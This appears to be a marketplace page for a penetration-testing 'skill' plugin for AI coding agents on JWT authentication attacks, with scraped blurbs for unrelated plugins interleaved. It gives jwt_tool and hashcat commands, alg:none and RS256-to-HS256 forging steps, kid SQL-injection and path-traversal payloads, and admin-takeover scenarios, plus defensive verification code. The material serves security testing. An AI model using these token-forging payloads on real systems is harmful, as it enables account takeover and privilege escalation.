From meta
Use when testing JWT-based authentication for algorithm confusion, alg:none bypass, weak HMAC secrets, missing expiration, kid parameter injection, and token storage in localStorage. Trigger on: "Authorization: Bearer tokens, JWTs in cookies, any base64url" encoded header.payload.signature pattern, OAuth2 access tokens, API authentication tokens, SSO tokens, JWKS endpoints. Detects RS256→HS256 confusion, public key as HMAC secret, unverified kid values used in file reads or SQL queries, and JWT cracking with short secrets.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
JWTs that accept `alg: none`, trust the algorithm declared in the token header, or use
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
JWTs that accept alg: none, trust the algorithm declared in the token header, or use
guessable HMAC secrets allow attackers to forge arbitrary tokens — including admin-level
claims — without knowing any signing key. Algorithm confusion attacks exploit servers
that accept both RS256 (asymmetric) and HS256 (symmetric): the attacker signs with the
public key (which is public) using HS256 and the server verifies it as a valid HMAC.
Authorization: Bearer <base64url>.<base64url>.<base64url> in requestshttpOnly, Secure, SameSite flags)/.well-known/jwks.json or /oauth/certs (exposes public key)alg field in JWT header — watch for HS256, RS256, nonekid (Key ID) field in JWT header — check for path traversal or SQLibase64url decode each part).alg value; attempt to change it to none and remove signature.alg is RS256, fetch the public key from JWKS endpoint; re-sign with HS256
using the public key as the HMAC secret.alg is HS256, attempt to crack the secret with hashcat or jwt_tool.kid value — test for path traversal (../../dev/null), SQLi, or SSRF.exp claim to far-future timestamp; attempt to use expired tokens.role, admin, sub, userId in payload after forging.# jwt_tool — Swiss army knife for JWT attacks
pip install jwt_tool
jwt_tool TOKEN -X a # alg:none attack
jwt_tool TOKEN -X s # algorithm confusion (RS256→HS256)
jwt_tool TOKEN -C -d wordlist.txt # crack HMAC secret
# hashcat JWT cracking
hashcat -a 0 -m 16500 TOKEN wordlist.txt
# Manual alg:none
# 1. Decode header: {"alg":"RS256","typ":"JWT"}
# 2. Change to: {"alg":"none","typ":"JWT"}
# 3. Re-encode and append empty signature: header.payload.
# (trailing dot is required)
# kid SQLi
{"kid": "' UNION SELECT 'attacker_secret' --", "alg":"HS256"}
# Sign token with 'attacker_secret'
# kid path traversal (sign with empty string)
{"kid": "../../dev/null", "alg":"HS256"}
# /dev/null reads as empty → sign with empty string ""
| Attack | Technique |
|---|---|
alg: none | Change header alg to none, drop signature, keep trailing dot |
| Algorithm confusion | Fetch RS256 public key; use it as HS256 HMAC secret |
| Weak secret | Crack short/dictionary HMAC with hashcat -m 16500 |
kid path traversal | Point kid to /dev/null or known empty file; sign with "" |
kid SQLi | Inject SQL into kid to return attacker-controlled key from DB |
Missing exp | If no expiry check, reuse old tokens indefinitely |
jku/x5u injection | Point to attacker-hosted JWKS to supply own public key |
| Embedded JWK | Inject jwk into header containing attacker's own public key |
Algorithm confusion to admin:
Setup → API uses RS256; JWKS endpoint public at /.well-known/jwks.json.
Trigger → Fetch public key → re-sign token with HS256 using public key as secret → set
"role":"admin" in payload.
Impact → Full admin access without any private key.
alg:none on misconfigured library:
Setup → Old version of JWT library doesn't reject alg: none.
Trigger → Set alg: none, modify sub to another user's ID, remove signature.
Impact → Arbitrary account takeover.
kid path traversal to RCE:
Setup → kid is used to load key from filesystem without sanitization.
Trigger → kid: "../../proc/self/fd/0" with socket input; or ../../tmp/evil.
Impact → Attacker controls signing key; full token forgery.
alg: none rejected with 401 — library properly validates algorithm.jku/x5u injection blocked.// Always whitelist algorithm — never derive from token header
jwt.verify(token, secret, { algorithms: ['HS256'] });
// For RS256: pin the public key in code, don't trust jku/jwk headers
jwt.verify(token, publicKeyPem, { algorithms: ['RS256'] });
// Always validate exp
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256'],
ignoreExpiration: false // default false — make it explicit
});
JWT attacks are a class of [[auth-bypass]] specific to token-based systems. kid SQLi
chains into [[sql-injection]]; kid path traversal chains into [[path-traversal]].
Weak session management after JWT compromise connects to [[cookie-attacks]] and
[[session-fixation]].